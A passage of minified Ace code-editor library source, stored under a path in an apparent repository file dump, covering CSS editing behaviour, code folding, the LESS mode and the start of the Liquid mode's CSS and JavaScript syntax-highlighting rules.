s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/less\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/less_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./less_highlight_rules\").LessHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/css\").CssBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(f,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/less\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-liquid.js",
    "content": "ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, 